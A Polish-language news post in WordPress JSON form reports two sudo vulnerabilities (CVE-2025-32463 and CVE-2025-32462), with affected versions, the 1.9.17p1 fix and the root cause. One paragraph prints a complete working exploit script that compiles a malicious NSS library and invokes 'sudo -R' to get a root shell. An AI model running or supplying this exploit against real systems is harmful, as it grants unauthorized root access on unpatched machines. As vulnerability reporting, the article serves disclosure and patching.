{"id":138584,"date":"2025-07-01T17:11:57","date_gmt":"2025-07-01T15:11:57","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimosti-v-utilite-sudo-pozvolyayushhie-poluchit-prava-root-v-sisteme"},"modified":"2025-07-01T17:11:57","modified_gmt":"2025-07-01T15:11:57","slug":"uyazvimosti-v-utilite-sudo-pozvolyayushhie-poluchit-prava-root-v-sisteme","status":"publish","type":"post","link":"https:\/\/prohoster.info\/pl\/blog\/news\/uyazvimosti-v-utilite-sudo-pozvolyayushhie-poluchit-prava-root-v-sisteme","title":{"rendered":"Wady w narz\u0119dziu sudo, kt\u00f3re umo\u017cliwiaj\u0105 uzyskanie uprawnie\u0144 roota w systemie","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

W pakiecie sudo, u\u017cywanym do organizacji wykonywania polece\u0144 w imieniu innych u\u017cytkownik\u00f3w, wykryto luk\u0119 (CVE-2025-32463), kt\u00f3ra pozwala ka\u017cdemu u\u017cytkownikowi bez uprawnie\u0144 na wykonanie kodu z prawami roota, nawet je\u015bli u\u017cytkownik nie jest wymieniony w konfiguracji sudoers. Problema dotyczy dystrybucji, kt\u00f3re u\u017cywaj\u0105 pliku konfiguracyjnego \/etc\/nsswitch.conf, na przyk\u0142ad mo\u017cliwo\u015b\u0107 wykorzystania tej luki zosta\u0142a zademonstrowana w Ubuntu 24.04 i Fedora 41. <\/p>\n

Luka wyst\u0119puje w domy\u015blnej konfiguracji i zosta\u0142a potwierdzona w wersjach sudo od 1.9.14 do 1.9.17 (mo\u017ce dotyczy\u0107 wszystkich wersji pocz\u0105wszy od 1.8.33). Problema zosta\u0142a usuni\u0119ta w aktualizacji sudo 1.9.17p1. Stan nowej wersji pakietu lub przygotowania poprawki mo\u017cna sprawdzi\u0107 w dystrybucjach na nast\u0119puj\u0105cych stronach (je\u015bli strona jest niedost\u0119pna, oznacza to, \u017ce deweloperzy dystrybucji jeszcze nie zacz\u0119li rozwa\u017cania problemu): Debian, Ubuntu, Fedora, SUSE\/openSUSE, RHEL, Gentoo i Arch (1, 2). <\/p>\n

Problem wynika z tego, \u017ce przy u\u017cywaniu opcji «-R» («—chroot») do uruchamiania polece\u0144 w \u015brodowisku chroot z wybranym przez u\u017cytkownika katalogiem g\u0142\u00f3wnym, plik \\\/etc\\\/nsswitch.conf by\u0142 \u0142adowany w kontek\u015bcie nowego katalogu g\u0142\u00f3wnego, a nie katalogu systemowego. Poniewa\u017c u\u017cytkownik mo\u017ce jako katalog g\u0142\u00f3wny dla chroot u\u017cy\u0107 w\u0142asnego katalogu, mo\u017ce umie\u015bci\u0107 w nim plik konfiguracyjny nsswitch.conf. Kontroluj\u0105c \u0142adowany przez system podsystem NSS (Name Service Switch) plik \\\/etc\\\/nsswitch.conf, u\u017cytkownik mo\u017ce doda\u0107 do niego ustawienia, kt\u00f3re prowadz\u0105 do wywo\u0142ania dodatkowych handler\u00f3w. Takie handlery s\u0105 \u0142adowane przez NSS w postaci wsp\u00f3lnych bibliotek, kt\u00f3re r\u00f3wnie\u017c mo\u017cna umie\u015bci\u0107 w katalogu nale\u017c\u0105cym do u\u017cytkownika. Podstawiaj\u0105c swoj\u0105 bibliotek\u0119, u\u017cytkownik mo\u017ce uzyska\u0107 wykonanie kodu z prawami root, poniewa\u017c przetwarzanie NSS odbywa si\u0119 przed odebraniem uprawnie\u0144. <\/p>\n

Przyk\u0142ad exploit: #!\\\/bin\\\/bash STAGE=$(mktemp -d \\\/tmp\\\/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c<<EOF #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir(«\\\/»); execl(«\\\/bin\\\/bash», «\\\/bin\\\/bash», NULL); } EOF mkdir -p woot\\\/etc libnss_ echo «passwd: \\\/woot1337» > woot\\\/etc\\\/nsswitch.conf cp \\\/etc\\\/group woot\\\/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_\\\/woot1337.so.2 woot1337.c echo «woot!» sudo -R woot woot rm -rf ${STAGE?} <\/p>\n

W wersji sudo 1.9.17p1 naprawiono tak\u017ce inn\u0105 luk\u0119 (CVE-2025-32462), kt\u00f3ra pozwala\u0142a na wykonywanie polece\u0144 z prawami root, wyst\u0119puj\u0105c\u0105 jednak tylko w konfiguracjach sudoers, w kt\u00f3rych parametr «host» by\u0142 ustawiony na warto\u015b\u0107 r\u00f3\u017cn\u0105 od ALL lub nazwy bie\u017c\u0105cego hosta. Luka ta by\u0142a spowodowana b\u0142\u0119dem, przez kt\u00f3ry opcja «-h» («—host») dzia\u0142a\u0142a nie tylko w po\u0142\u0105czeniu z opcj\u0105 «-l» («—list») do wy\u015bwietlania powi\u0105zanych z hostem uprawnie\u0144, ale tak\u017ce podczas uruchamiania polece\u0144. W ten spos\u00f3b u\u017cytkownik m\u00f3g\u0142 przy wywo\u0142ywaniu sudo wskaza\u0107 dowolny host i obej\u015b\u0107 ograniczenia regu\u0142 sudoers powi\u0105zanych z nazw\u0105 hosta. <\/p>\n

Aby zrealizowa\u0107 atak, u\u017cytkownik musi by\u0107 wymieniony w sudoers, na przyk\u0142ad, je\u015bli w ustawieniach podano «testuser testhost = ALL», to u\u017cytkownik «testuser» m\u00f3g\u0142 wskaza\u0107 «sudo -h testhost» i uruchomi\u0107 polecenia z prawami root na dowolnych hostach, a nie tylko na ho\u015bcie testhost. Konfiguracje z ustawieniami typu «testuser ALL = ALL» lub bez wyra\u017anych regu\u0142 dla konkretnego u\u017cytkownika nie s\u0105 podatne na t\u0119 luk\u0119.
\n
\u0179r\u00f3d\u0142o: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u043f\u0430\u043a\u0435\u0442\u0435 sudo, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u043c \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-32463), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043b\u044e\u0431\u043e\u043c\u0443 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442 \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 sudoers. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u0444\u0430\u0439\u043b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \/etc\/nsswitch.conf, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0432 Ubuntu 24.04 \u0438 Fedora 41. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043f\u043e […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-138584","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Luki w narz\u0119dziu sudo, kt\u00f3re pozwalaj\u0105 na uzyskanie praw root w systemie | ProHoster","description":"W pakiecie sudo, stosowanym do wykonywania polece\u0144 w imieniu innych u\u017cytkownik\u00f3w, ujawniono luk\u0119 (CVE-2025-32463), kt\u00f3ra pozwala\u0142a ka\u017cdemu u\u017cytkownikowi bez uprawnie\u0144 na wykonanie kodu z uprawnieniami root.","canonical_url":"https:\/\/prohoster.info\/pl\/blog\/news\/uyazvimosti-v-utilite-sudo-pozvolyayushhie-poluchit-prava-root-v-sisteme","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"pl_PL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS 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\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-32463), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043b\u044e\u0431\u043e\u043c\u0443 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 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